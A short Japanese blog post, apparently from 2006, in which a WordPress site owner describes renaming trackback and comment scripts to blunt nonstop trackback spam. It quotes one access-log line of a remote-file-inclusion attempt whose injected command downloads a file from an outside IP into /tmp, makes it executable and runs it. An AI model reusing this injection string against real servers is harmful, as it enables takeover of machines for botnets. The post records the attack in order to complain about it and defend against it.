結局wp-trackback.phpやwp-comments-post.phpの標準的なパスで決め打ちで攻撃してくるので、それらをrenameして消した。

するとFile Not foundエラーが延々返されるわけだが、こうしたほうがサーバーの負荷は軽い。ブロックリストも無くしてしまった。

それでも未だに事態に気づいていないのかおかまいなしなのか延々とtrackback攻撃は終日休み無く続いている。

それと平行して新たなZombie PCをこしらえるためのBot進入攻撃も後をたたない。

201.17.175.51 - - [14/Jun/2006:22:08:35 +0900] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&G
LOBALS=&mosConfig_absolute_path=http://72.18.195.161/cmd.gif?&cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;./lnikon;echo%20YYY;echo| HTTP
/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

もう日がたっているので上記の http://72.18.195.161/lnikon というファイルは削除されたのか存在しない。サーバーとしては生きているがどうせこれもZombie PCだし。

はやく諦めてどっかに行ってくれないかな。